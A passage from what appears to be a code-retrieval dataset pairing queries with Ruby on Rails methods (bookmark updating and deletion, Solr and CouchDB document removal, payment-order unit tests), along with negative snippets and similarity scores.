"def updatebookmark\n @bookmark_plugins = PLUGIN_CONFIG['bookmark']\n url = Url.find_by_url(timeline_bookmark_params[:url])\n if url.nil?\n url = Url.new({:url => timeline_bookmark_params[:url]})\n if !url.save\n render :status => 404\n end\n end\n @bookmark = Bookmark.find_by_id(timeline_bookmark_params[:bookmark_id])\n if @bookmark.nil?\n render :status => 404\n end\n @bookmark.title = timeline_bookmark_params[:title]\n @bookmark.description = timeline_bookmark_params[:description]\n @bookmark.url = url\n @bookmark.user = current_user\n\n @bookmark.tags.clear\n\n tags = timeline_bookmark_params[:tags]\n tags.each do |tag|\n if Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).size == 0\n @tag = Tag.new\n @tag.tagname = tag.strip.gsub(' ','-').downcase\n @bookmark.tags << @tag\n else\n @bookmark.tags << Tag.where(:tagname => tag.strip.gsub(' ', '-').downcase).first\n end\n end unless tags.nil?\n #@bookmark = Bookmark.new(bookmark_params) #TODO: Explore this.. Above is Ugly\n respond_to do |format|\n if @bookmark.save\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bookmark }\n format.js\n else\n format.html { render action: 'new' }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.67227495",
"0.6600797",
"0.6536114",
"0.6470963",
"0.6457833",
"0.6453233",
"0.644732",
"0.6430696",
"0.6409773",
"0.64031017",
"0.64031017",
"0.6387373",
"0.63326925",
"0.6328988",
"0.6318537",
"0.63146013",
"0.63086903",
"0.6296489",
"0.6285414",
"0.62601584",
"0.6250848",
"0.6234241",
"0.6222254",
"0.6205486",
"0.6195959",
"0.6193669",
"0.61845684",
"0.61787117",
"0.6176383",
"0.61655587",
"0.61485916",
"0.6137425",
"0.6135896",
"0.61305666",
"0.6070113",
"0.60651994",
"0.60602236",
"0.6051805",
"0.6051805",
"0.6051805",
"0.6051805",
"0.6051805",
"0.6051805",
"0.6051805",
"0.6030579",
"0.6018144",
"0.600501",
"0.600501",
"0.600501",
"0.600501",
"0.600501",
"0.600501",
"0.5996604",
"0.59786063",
"0.5977693",
"0.5948531",
"0.5944449",
"0.5937576",
"0.59232485",
"0.5916989",
"0.58950037",
"0.5885395",
"0.5843656",
"0.5836574",
"0.5811818",
"0.5797437",
"0.5794726",
"0.5794726",
"0.57702416",
"0.5758741",
"0.5725138",
"0.57175535",
"0.57087845",
"0.57074755",
"0.5695126",
"0.5695126",
"0.567674",
"0.5659021",
"0.56456894",
"0.5633516",
"0.56310594",
"0.55973905",
"0.55973905",
"0.55852294",
"0.55551445",
"0.5531491",
"0.552486",
"0.551562",
"0.5506698",
"0.5494316",
"0.54937166",
"0.5464977",
"0.5462182",
"0.54555005",
"0.545297",
"0.5438988",
"0.5418308",
"0.54121304",
"0.5407738",
"0.5401384"
] | 0.64381355 | 7 |
Beware, :id is the Solr document_id, not the actual Bookmark id. idempotent, as DELETE is supposed to be. | def destroy
@bookmarks =
if params[:bookmarks]
permit_bookmarks[:bookmarks]
else
[{ document_id: params[:id], document_type: blacklight_config.document_model.to_s }]
end
success = @bookmarks.all? do |bookmark|
bookmark = current_or_guest_user.bookmarks.find_by(bookmark)
bookmark && bookmark.delete && bookmark.destroyed?
end
if success
if request.xhr?
render(json: { bookmarks: { count: current_or_guest_user.bookmarks.count } })
else
redirect_back fallback_location: bookmarks_path, notice: I18n.t('blacklight.bookmarks.remove.success')
end
elsif request.xhr?
head :internal_server_error # ajaxy request needs no redirect and should not have flash set
else
redirect_back fallback_location: bookmarks_path, flash: { error: I18n.t('blacklight.bookmarks.remove.failure') }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _delete\n # Set id and cache key\n id = @options[:id]\n cache_key = nil #\"bookmark_#{id}\"\n\n # Retrieve bookmark object\n bookmark = Taupe::Model::Bookmark.load id, cache_key\n fail \"Unknown bookmark ##{id}\" if bookmark.empty?\n\n # Delete it\n Taupe::Model::Tag.exec \"DELETE FROM bookmark_tag WHERE bookmark_id = #{bookmark.bookmark_id}\"\n bookmark.delete\n\n puts 'Bookmark deleted successfully'\n end",
"def deletebookmark\n\t\t\t\tbookmark = Bookmark.find_by_id(params[:id])\n\t\t\t\tif bookmark.user_id == doorkeeper_token.resource_owner_id\n\t\t\t\t\tbookmark.destroy\n\t\t\t\t\thead :ok\n\t\t\t\telse\n\t\t\t\t\trender :status => 504\n\t\t\t\tend\n\t\t\tend",
"def delete(id)\n logger.debug(\"#{self.class.name}: Sending delete to Solr for #{id}\")\n\n json_package = {delete: id}\n resp = @http_client.post solr_update_url_with_query(@solr_update_args), JSON.generate(json_package), \"Content-type\" => \"application/json\"\n if resp.status != 200\n raise RuntimeError.new(\"Could not delete #{id.inspect}, http response #{resp.status}: #{resp.body}\")\n end\n end",
"def delete(id)\n raise RuntimeError, \"File datastore does not support document deletion\"\n end",
"def delete_doc(id)\n doc = get_doc(id)\n rev = doc[\"_rev\"] if doc[\"_rev\"]\n\n @conn.query({url_path: \"#{database}/#{id}?rev=#{rev}\", method: :delete})\n end",
"def solr_delete(solr_id)\n Solarize::Post.execute(Solr::Request::Delete.new(:id => solr_id))\n end",
"def delete_document index, id\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Delete.new(uri)\n run(uri, req)\n end",
"def delete\n blacklight_items.each do |r|\n solr.delete_by_id r[\"id\"]\n solr.commit\n end\n end",
"def delete_id(id)\n ids_in_doc = root.fetch(full_path, :single => true)\n raise TypeError, \"Expecting array\" unless ids_in_doc.kind_of? Array\n ids_in_doc.delete id\n root.save!\n ids.delete id\n save!\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookmarks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookmarks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @user = User.find(session[:user_id])\n @user.bookmarks.delete(@bookmark)\n\n respond_to do |format|\n format.html { redirect_to(bookmarks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if session[:user_id]\n @bookmark = Bookmark.first(:conditions => {:id => params[:id], :user_id => session[:user_id]})\n if @bookmark\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n \n respond_to do |format|\n format.html { redirect_to(bookmarks_url) }\n format.xml { head :ok }\n end\n else\n redirect_to \"/bookmarks/\"\n end\n else\n redirect_to \"/login\"\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to bookmarks_url }\n format.json { head :ok }\n end\n end",
"def delete\n\t\treturn self.repo.bookmark( self.name, delete: true )\n\tend",
"def delete_document( doc_id: )\n params = {}\n params[:backtrace] = @backtrace if @backtrace\n send_request :delete, url_for_base(doc_id), params, :json\n end",
"def delete_document!(model, id)\n document = find_document!(model, id)\n document.destroy\n document\n end",
"def delete\n raise Couchbase::Error::MissingId, \"missing id attribute\" unless @id\n model.bucket.delete(@id)\n @id = nil\n self\n end",
"def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end",
"def destroy\n @bookmarklet = Bookmarklet.find(params[:id])\n @bookmarklet.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookmarklets_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n if session[:user_id] != @bookmark.user_id\n flash[:error] = \"Sorry, you do not have permission to delete this bookmark.\"\n redirect_to root_url\n else \n @bookmark.destroy\n # added these 2 lines because tags are not getting deleted!\n # title = @bookmark.title\n # Bookmark.destroy(params[:id])\n # @bookmark.destroy\n\n redirect_to root_url, :notice => \"#{@bookmark.title} was deleted!\"\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n #@bookmark.destroy\n \n #@bookmark.destroy\n #redirect_back_or root_path\n #\n #respond_to do |format|\n # format.html { redirect_to(bookmarks_url) }\n # format.xml { head :ok }\n #end\n @bookmark.destroy\n redirect_to root_path, :flash => { :success => \"Bookmark deleted!\" }\n end",
"def delete(opts={})\r\n Rakuten::Request.get(\"https://app.rakuten.co.jp/services/api/FavoriteBookmark/Delete/20120627\", Rakuten::Api.merge(opts))\r\n end",
"def delete(entry_id)\n\t\t\tkparams = {}\n\t\t\t# Document entry id to delete\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\tclient.queue_service_action_call('document', 'delete', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n if @bookmark.destroy\n head :no_content\n else\n render json: { errors: @bookmark.errors }, status: :unprocessable_entity\n end\n end",
"def destroy\n @bookmark = Bookmark.find(params[:id])\n @bookmark.destroy\n\n\n# if (@bookmark=Bookmark.all).blank?\n# folderArray=['ruby']\n# bookmarks= Bookmark.create([{origin: 'ruby on rails',name: 'Ruby on Rails',url: 'http://rubyonrails.org',\n# folder: folderArray,create_date: DateTime.now,visited_date: DateTime.now,modified_date: DateTime.now}])\n# end\n\n\n\n respond_to do |format|\n format.html { redirect_to bookmarks_url }\n format.json { head :no_content }\n end\n end",
"def delete\n RecordsSearch.where(search_id:self[:id]).delete\n super\n end",
"def destroy\n @bookmark = Bookmark.find_by_user_id_and_book_id(current_user.id, params[:book_id])\n @bookmark.destroy\n\n respond_to do |format|\n format.html { redirect_to(:back, :notice => \"Bookmark was successfully deleted.\") }\n format.xml { head :ok }\n end\n end",
"def delete_bookmark(bookmark_id)\n perform_post_with_objects('/api/1.1/bookmarks/delete', {bookmark_id: bookmark_id}, Array)\n end",
"def destroy\n @bookmark = Bookmark.find_by(id: params[:bookmark][:bookmark_id])\n review = @bookmark.review\n Bookmark.delete(@bookmark.id)\n redirect_to :back\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to @bookmark.poi }\n format.json { head :no_content }\n end\n end",
"def destroy\n session_user = session[:usr]\n receipe = Receipe.find(params[:receipe_id])\n \n if bookmark = Bookmark.find_by(user_id: session_user, receipe_id: receipe.id)\n bookmark.delete\n redirect_to receipe\n else\n \n end\n \n end",
"def delete(id)\n read_or_die(id)\n\n sql, vals = sql_delete(id_fld => id)\n execute sql_subst(sql, *vals.map{|v| quote v})\n\n self\n\n rescue => e\n handle_error(e)\n end",
"def destroy\n @bookmark_tag = BookmarkTag.find(params[:id])\n @bookmark_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to bookmark_tags_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t@tag = Tag.find(params[:id])\n\t@tag.destroy\n\tflash[:notice] = \"Bookmark was successfully deleted\"\n\trespond_to do |format| \n\t \tformat.html {redirect_back_or current_user}\n\t\tformat.xml { head :ok }\n end\n end",
"def delete(id)\r\n connection.delete(\"/#{@doctype}[@ino:id=#{id}]\")\r\n end",
"def destroy\n @bookmark = Bookmark.where(\"user_id = ? AND raffle_id = ?\", params[:user_id], params[:raffle_id]).first\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to bookmarked_user_path(params[:user_id]), notice: 'Rifa removida de guardadas' }\n format.json { head :no_content }\n end\n end",
"def destroy\n \t@doc = Doc.find params[:id]\n @doc.destroy\nend",
"def deleteAnnotation ## accepts annotation id\n search_term = params[:id]\n\t# Find the annotation with the given ID\n\tanno = Annotation.find_by(id: search_term)\n\tanno.update(deprecated: true)\n\nend",
"def remove doc_id\n # Get the id if passes a Document object\n doc_id = doc_id.doc_id if doc_id.respond_to? :doc_id\n ensure_connection!\n resp = connection.delete_doc index_id, doc_id\n return true if resp.success?\n fail ApiError.from_response(resp)\n end",
"def delete_course_with_id(id)\n doc_feed=get_doc_feed(@doc_client)\n doc_feed.elements.each('entry') do |entry|\n if entry.elements['id'].text==\"https://documents.google.com/feeds/documents/private/full/spreadsheet%3A#{id}\"\n @doc_client.headers['If-Match']=entry.attribute('etag').value\n puts \"Deletehere\"\n response=@doc_client.delete(\"https://documents.google.com/feeds/documents/private/full/document%3A#{id}\") \n end\n end\n end",
"def remove_item(id)\n return nil if self.class.mode == :sandbox\n\n query = { \"type\" => \"delete\", \"id\" => id.to_s, \"version\" => Time.now.to_i }\n doc_request query\n end",
"def _delete_reference_to_id(id)\n @data.delete_if do |v|\n v && v.respond_to?(:is_poxreference?) && v.id == id\n end\n @store.cache.cache_write(self)\n end",
"def remove_id(object_id)\n\t\ti = @docs.index { |doc| doc.object_id == object_id }\n\t\tdestroy_tab(i) if @docs[i].try_to_save()\n\t\t # remove_tab(i) #if not i.nil?\n\tend",
"def delete(id)\n call(:delete, path(id))\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to [@tag, :bookmarks], notice: \"Bookmark, #@bookmark deleted.\" }\n\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to \"/timeline\" }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n record = find(id)\n return unless record\n\n delete_from_file(@file, record)\n @records = read_file(@file)\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to @redirect, notice: 'Bookmark was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n @conn.execute(*@builder.delete(id))\n end",
"def delete_now\n revisions.each do |rev_id| \n CouchDB.delete( \"#{uri}?rev=#{rev_id}\" )\n end\n true \n end",
"def destroy\n @document = Document.find(:first, :conditions => [\"id = ?\", params[:id]])\n @document.destroy\n\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id_to_delete)\n DATABASE.execute(\"DELETE FROM locations WHERE id = '#{id_to_delete}'\")\n end",
"def delete_document_bookmarks(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = delete_document_bookmarks_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = delete_document_bookmarks_with_http_info(name, opts)\n else\n raise\n end\n return data\n end",
"def delete\n error = true\n if params[:url]\n link = Bookmark.find_by_url(params[:url]) || nil\n if (link && link.users.include(current_user))\n bookmark = current_user.bookmarks.find(:all, :conditions => [\"link_id = ?\", link.id])\n bookmark.destroy\n link.destroy if link.bookmarks.size == 0 # destroy the link if no bookmarks are left\n error = false\n end\n end\n\n respond_to do |format|\n format.xml do\n if error\n render :xml => \"<?xml version='1.0' standalone='yes'?>\\n<result code=\\\"something went wrong\\\" />\"\n else\n render :xml => \"<?xml version='1.0' standalone='yes'?>\\n<result code=\\\"done\\\" />\"\n end\n end\n end\n end",
"def delete(id)\n wf_event_id?(id)\n api.delete(id)\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to bookmarks_url, notice: 'Bookmark was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n path(id).delete\n clean(id) if clean?\n end",
"def delete doc_id, etag=\"*\"\n \n return false if doc_id.nil?\n\n client = get_client\n client.headers[\"If-Match\"] = etag\n [*doc_id].each {|id|\n client.delete(\"https://docs.google.com/feeds/default/private/full/#{id}?delete=true\")\n }\n\n return true\n\n end",
"def destroy\n @bookmark.destroy\n flash[:notice] = ts(\"Bookmark was successfully deleted.\")\n redirect_to user_bookmarks_path(current_user)\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to bookmarks_url, notice: \"Bookmark was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bookmarkable = @bookmark.bookmarkable\n #url = (bookmarkable.class.to_s == \"Dress\" ? bookmarkable : vendor_seo_path(bookmarkable))\n @bookmark.destroy\n\n respond_to do |format|\n format.js\n format.html { redirect_to request.referer }\n format.json { head :ok }\n end\n end",
"def delete(id)\n self.find(id).delete_\n end",
"def destroy\n if session[:user_id] != @bookmark.user_id\n flash[:error] = \"Sorry, you do not have permission to delete this bookmark.\"\n redirect_to root_url\n else \n @bookmark.archive.destroy if @bookmark.archive\n # @bookmark.archive.try(:destroy)\n @bookmark.destroy\n redirect_to root_url, :notice => \"#{@bookmark.title} was deleted!\"\n end\n end",
"def remove\n \n \n Document.destroy(self.document_id)\n self.destroy\n \n end",
"def destroy\n\t\tif params[:owner].present? && params[:post].present?\n\t\t\t@bookmark = Bookmark.where(:owner => params[:owner], :post => params[:post])\n\t\telsif params[:id].present?\n\t\t\t@bookmark = Bookmark.where(:id => params[:id])\n\t\tend\n\n\t\t@bookmark.each do |b|\n\t\t\tb.destroy\n\t\tend\n\n\t\trender :text => \"Nothing\"\n\tend",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n format.html { redirect_to topic_bookmarks_url, notice: 'Bookmark was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(docs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(docs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bookmark.destroy\n respond_to do |format|\n # format.html { redirect_to bookmarks_url, notice: 'Bookmark was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteid(songid)\n send_request('deleteid %s' % songid)\n end",
"def id\n solr_document.fetch('id').sub(/^id-/, '')\n end",
"def delBookmarks content\r\n\t\tfind('#del1449930755433').click\r\n\t\tfind('.jBox-Confirm-button-submit').click\r\n\t\tsleep 1\r\n\tend",
"def delete( doc, opts = {} )\n rev = opts.delete(:rev)\n response = http_action :delete, doc, { :query => {:rev => rev || doc['_rev'] } }.merge( opts )\n doc.delete '_rev' if doc.kind_of? Hash\n response\n end",
"def destroy\n @tdoc = Tdoc.find(params[:id])\n @tdoc.destroy\n\n respond_to do |format|\n format.html { redirect_to(tdocs_url) }\n format.xml { head :ok }\n end\n end",
"def delete_from_index\n case self.class.update_index_policy\n when :immediate_with_refresh\n self.class.delete_id_from_index(self.id, :refresh => true)\n # As of Oct 25 2010, :refresh => true is not working\n self.class.refresh_index()\n when :enqueue\n DistributedIndexing::RemoveDocuments.perform_async(self.class.to_s, [self.id.to_s])\n else\n self.class.delete_id_from_index(self.id)\n end\n end",
"def delete\n out = _delete(id) if @store\n @id = nil\n @store = nil\n out\n end",
"def delete(id)\n results = connection.exec_params('DELETE FROM contacts WHERE id=$1;', [id]) \n end",
"def cloud_search_delete_document(doc)\n doc.version += 1\n self.cloud_search_batcher_command(:delete_document, doc)\n end",
"def destroy\n @bookmark_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to bookmark_stats_url }\n format.json { head :no_content }\n end\n end",
"def delete( id )\n entry = entries.delete(id)\n if entry\n mark_modified\n Entry.new(self, id, entry)\n end\n end",
"def delete(id)\n lock.synchronize do\n @deleted_ids << id.to_s\n end\n end",
"def destroy\n @tdoc = Tdoc.find(params[:id])\n @tdoc.destroy\n \n respond_to do |format|\n format.html { redirect_to tdocs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to docs_url }\n format.json { head :ok }\n end\n end",
"def delete; rest_delete(link('self')); end",
"def delete; rest_delete(link('self')); end",
"def delete\n FC::DB.query(\"DELETE FROM #{self.class.table_name} WHERE id=#{@id.to_i}\") if @id\n end",
"def destroy\n document = Document.find(params[:id])\n document.destroy\n redirect_to :controller => 'related_service_requests', :action => 'show', :anchor => 'documents', :service_request_id => params[:friendly_id], :id => params[:ssr_id]\n end",
"def delete(id)\n connection.delete do |req|\n req.url \"job/#{id}\"\n end\n end",
"def delete_row(row_id); rest_delete(\"#{link('rows')}/#{row_id}\"); nil; end",
"def delete\n\t\t\t\"delete called - deleting object #{params[:id]}\"\n\t\tend",
"def destroy\n remove_from_solr(@record.id)\n @record.destroy\n respond_to do |format|\n format.html {redirect_to records_url, notice: 'Record was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @lesson_learned = LessonLearned.find(params[:id])\n @lesson_learned.destroy\n\n # Now remove it from Solr\n @rsolr.delete_by_id(@lesson_learned.id)\n @rsolr.commit\n\n respond_to do |format|\n format.html { redirect_to lesson_learneds_url }\n format.json { head :no_content }\n end\n end",
"def delete force: false\n ensure_connection!\n docs_to_be_removed = documents view: \"ID_ONLY\"\n return if docs_to_be_removed.empty?\n unless force\n fail \"Unable to delete because documents exist. Use force option.\"\n end\n while docs_to_be_removed\n docs_to_be_removed.each { |d| remove d }\n if docs_to_be_removed.next?\n docs_to_be_removed = documents token: docs_to_be_removed.token,\n view: \"ID_ONLY\"\n else\n docs_to_be_removed = nil\n end\n end\n end",
"def destroy\n @document_history = DocumentHistory.find(params[:id])\n @document_history.destroy\n\n respond_to do |format|\n format.html { redirect_to document_histories_url }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n path = path(id)\n path.delete\n clean(path) if clean?\n rescue Errno::ENOENT\n end"
] | [
"0.7528189",
"0.723179",
"0.7139072",
"0.6993395",
"0.6917048",
"0.68288046",
"0.6701051",
"0.6674466",
"0.6651376",
"0.6611014",
"0.6611014",
"0.6593733",
"0.6590053",
"0.6581485",
"0.65595615",
"0.65570974",
"0.65364385",
"0.6532471",
"0.65275866",
"0.6511781",
"0.6499534",
"0.6462163",
"0.64222664",
"0.641908",
"0.6414841",
"0.64142466",
"0.6376459",
"0.637498",
"0.6363437",
"0.6358111",
"0.63290864",
"0.62726253",
"0.6267183",
"0.6246652",
"0.6245268",
"0.6208322",
"0.6173374",
"0.6165653",
"0.6162435",
"0.61533684",
"0.6142492",
"0.6131239",
"0.6121462",
"0.6103531",
"0.60815495",
"0.6071759",
"0.6066576",
"0.60605764",
"0.60597694",
"0.6058662",
"0.6032094",
"0.6015685",
"0.6006602",
"0.60064715",
"0.60001075",
"0.5995603",
"0.5979878",
"0.5978451",
"0.59761965",
"0.5971086",
"0.59678435",
"0.5960036",
"0.59597754",
"0.59586096",
"0.59499866",
"0.59367776",
"0.5931374",
"0.5918251",
"0.5912599",
"0.5873969",
"0.5869988",
"0.5869988",
"0.58562005",
"0.5847557",
"0.58454585",
"0.58453697",
"0.58434844",
"0.5838606",
"0.5838518",
"0.583487",
"0.583314",
"0.5831581",
"0.58256763",
"0.582505",
"0.5813485",
"0.5807119",
"0.5804182",
"0.58017796",
"0.58017796",
"0.57966757",
"0.578825",
"0.5787389",
"0.5787332",
"0.57858366",
"0.5772903",
"0.57712525",
"0.5766599",
"0.57552904",
"0.57455933",
"0.5743378"
] | 0.6281555 | 31 |
def test_allowed_types_are_taken_from_config assert(PaymentOrder::ENABLED_METHODS.include? 'PaymentOrders::EveryPay') end def test_supported_method_returns_true_or_false assert(PaymentOrder.supported_method?(PaymentOrders::EveryPay)) end def test_payment_method_must_be_supported_for_the_object_to_be_valid payment_order = PaymentOrder.new | def test_invoice_cannot_be_already_paid
payment_order = PaymentOrder.new
payment_order.invoices << @payable_invoice
payment_order.user = @user
payment_order.type = 'PaymentOrders::EveryPay'
assert(payment_order.valid?)
@payable_invoice.mark_as_paid_at(Time.zone.now)
assert_not(payment_order.valid?)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_truth\n assert_kind_of Payment, @payment\n end",
"def test_truth\r\n assert_kind_of Currency, @currency\r\n end",
"def test_that_should_report_mostly_empty_without_both_amount_and_method\n assert Payment.new().mostly_empty?\n assert Payment.new({:amount => \"-1\"}).mostly_empty?\n assert Payment.new({:amount => \"0\"}).mostly_empty?\n # Allow negative payments\n assert ! Payment.new({:amount => \"-1\", :payment_method_id => 2}).mostly_empty?\n assert Payment.new({:amount => \"0\", :payment_method_id => 2}).mostly_empty?\n assert ! Payment.new({:amount => \"0.01\", :payment_method_id => 2}).mostly_empty?\n end",
"def test_should_get_domestic\n OrderShippingType.get_domestic\n assert_equal order_shipping_types(:ups_ground, :ups_xp_critical, :ups_non_rounded_number), OrderShippingType.get_domestic\n end",
"def test_basic\n assert prizes(:ipod).needs_dd?\n assert !prizes(:ipod).prize_points?\n\n assert !prizes(:cash).needs_dd?\n assert prizes(:cash).prize_points?\n assert !prizes(:cash).redeemable_by_user?(users(:a_user))\n end",
"def test_type\n assert_instance_of Lib::DHCP::Option35, @option\n end",
"def test_truth\n assert_kind_of Cost, @cost\n end",
"def test_type\n assert_instance_of Lib::DHCP::Option21, @option\n end",
"def test_loadproducts\n rules = PaymentRules.instance\n Products.load_business_rules('simpleRules.txt')\n checker = rules.processPayment('book')\n assert_equal(checker, true)\n checker = rules.processPayment('membership')\n assert_equal(checker, true)\n checker = rules.processPayment('dog')\n assert_equal(checker, false)\n end",
"def test_should_create_shipping_type\n a_shipping_type = OrderShippingType.new\n \n a_shipping_type.code = \"UPWX\"\n a_shipping_type.name = \"UPS Worldwide Express (International Only)\"\n a_shipping_type.is_domestic = 0\n a_shipping_type.price = 12.00\n \n assert a_shipping_type.save\n end",
"def test_method_features\n @providers = {:numbers => @features[:numeric], :letters => @features[:alpha]}\n @providers[:both] = @features[:numeric] + @features[:alpha]\n @providers[:mixed] = [:one, :b]\n @providers[:neither] = [:something, :else]\n\n @providers.each do |name, methods|\n assert_nothing_raised(\"Could not create provider #{name}\") do\n @type.provide(name) do\n methods.each do |name|\n define_method(name) {}\n end\n end\n end\n end\n\n resource = @type.new(:name => \"foo\")\n {:numbers => [:numeric], :letters => [:alpha], :both => [:numeric, :alpha], :mixed => [], :neither => []}.each do |name, should|\n should.sort! { |a,b| a.to_s <=> b.to_s }\n provider = @type.provider(name)\n assert(provider, \"Could not find provider #{name}\")\n assert_equal(should, provider.features, \"Provider #{name} has incorrect features\")\n\n inst = provider.new(resource)\n # Make sure the boolean methods work on both the provider and\n # instance.\n @features.keys.each do |feature|\n method = feature.to_s + \"?\"\n assert(inst.respond_to?(method), \"No boolean instance method for #{name} on #{feature}\")\n assert(provider.respond_to?(method), \"No boolean class method for #{name} on #{feature}\")\n\n if should.include?(feature)\n assert(provider.feature?(feature), \"class missing feature? #{feature}\")\n assert(inst.feature?(feature), \"instance missing feature? #{feature}\")\n assert(provider.send(method), \"class missing feature #{feature}\")\n assert(inst.send(method), \"instance missing feature #{feature}\")\n assert(inst.satisfies?(feature), \"instance.satisfy #{feature} returned false\")\n else\n assert(! provider.feature?(feature), \"class has feature? #{feature}\")\n assert(! inst.feature?(feature), \"instance has feature? #{feature}\")\n assert(! provider.send(method), \"class has feature #{feature}\")\n assert(! inst.send(method), \"instance has feature #{feature}\")\n assert(! inst.satisfies?(feature), \"instance.satisfy #{feature} returned true\")\n end\n end\n\n end\n\n Puppet[:trace] = true\n Puppet::Type.loadall\n Puppet::Type.eachtype do |type|\n assert(type.respond_to?(:feature), \"No features method defined for #{type.name}\")\n end\n end",
"def paid_with_card?\n order.payment_method == 'credit_card'\n end",
"def test_can_afford_buy_drink__true()\n customer = Customer.new(\"Jane\", 10, 25)\n drink = Drink.new(\"Beer\", 2, 6.4)\n assert_equal(true, customer.can_afford_buy_drink(drink))\nend",
"def test_truth\n assert_kind_of Order, orders(:first)\n end",
"def test_order_type_must_be_valid\n converter = Converter.new(make_file('111_items'))\n converter.convert\n orders = converter.invoices\n orders.each do |order|\n order_type = order.order_type\n assert_equal \"<orderType>1</orderType>\", order_type, \"OrderType must be set to 1 by default\"\n end\n end",
"def test_truth\n assert_kind_of ProductOptionValues, @product_option_values\n end",
"def must_be_authorized_for_payment_method\n authorized_methods = []\n authorized_methods << PaymentMethod.get_default\n authorized_methods += user.payment_methods if user\n\n unless authorized_methods.uniq.include?(payment_method)\n errors.add_to_base(\"User is not authorized for the chosen payment method.\")\n end\n \n end",
"def test?\n self.order_type == :test\n end",
"def test_make_payment()\n @customer4.make_payment(10)\n assert_equal(190, @customer4.wallet)\n end",
"def test_acknowledgement\n assert @dotpay.acknowledge\n end",
"def test_member_has_type()\n assert_equal( 'false', @member1.premium_membership() )\n end",
"def test_should_not_create_invalid_shipping_type\n# a_shipping_type = OrderShippingType.new\n# a_shipping_type.price = \"\"\n# assert !a_shipping_type.valid?\n# assert a_shipping_type.errors.invalid?(:price)\n# # A shipping type must have a price.\n# assert_same_elements [\"can't be blank\", \"is not a number\"], a_shipping_type.errors.on(:price)\n# assert !a_shipping_type.save\n end",
"def test_os_classes_have_interface\n assert_send([Mage.build, :os])\n end",
"def test_purchase_and_credit_for_check\n assert purchase = @gateway.purchase(1000, @check, @options)\n assert_success purchase\n assert_approved purchase\n \n assert void = @gateway.credit(1000, purchase.authorization, @options)\n assert_success void\n assert_approved void\n end",
"def test_verify\n # Start out unavailabl\n assert_raise(Puppet::Network::InvalidClientRequest) do\n @obj.verify(@request)\n end\n class << @obj\n def available?(req)\n true\n end\n end\n assert_raise(Puppet::Network::InvalidClientRequest) do\n @obj.verify(@request)\n end\n class << @obj\n def authorized?(req)\n true\n end\n end\n assert_nothing_raised do\n @obj.verify(@request)\n end\n end",
